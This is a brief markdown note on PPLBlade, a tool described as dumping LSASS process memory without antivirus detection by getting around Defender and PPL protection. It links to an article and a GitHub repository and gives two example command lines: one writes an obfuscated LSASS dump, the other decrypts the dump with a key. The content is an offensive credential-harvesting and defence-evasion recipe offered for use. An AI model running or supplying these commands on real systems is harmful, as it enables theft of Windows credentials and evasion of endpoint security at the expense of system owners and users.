# PPLBlade

## Dump LSASS without AV detection with PPLBlade

## Link: <https://tacticaladversary.io/adversary-tactics/bypass-defender-and-ppl-protection-to-dump-lsass/?s=08>

## Github repo: <https://github.com/tastypepperoni/PPLBlade>

### Example Usage:

#### 1) Dump obfuscated dump file

```
PPLBlade.exe --mode dothatlsassthing --obfuscate 
```

#### 2) Deobfuscate dump file

```
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade 
```

### For more details, consult the github repository for more.
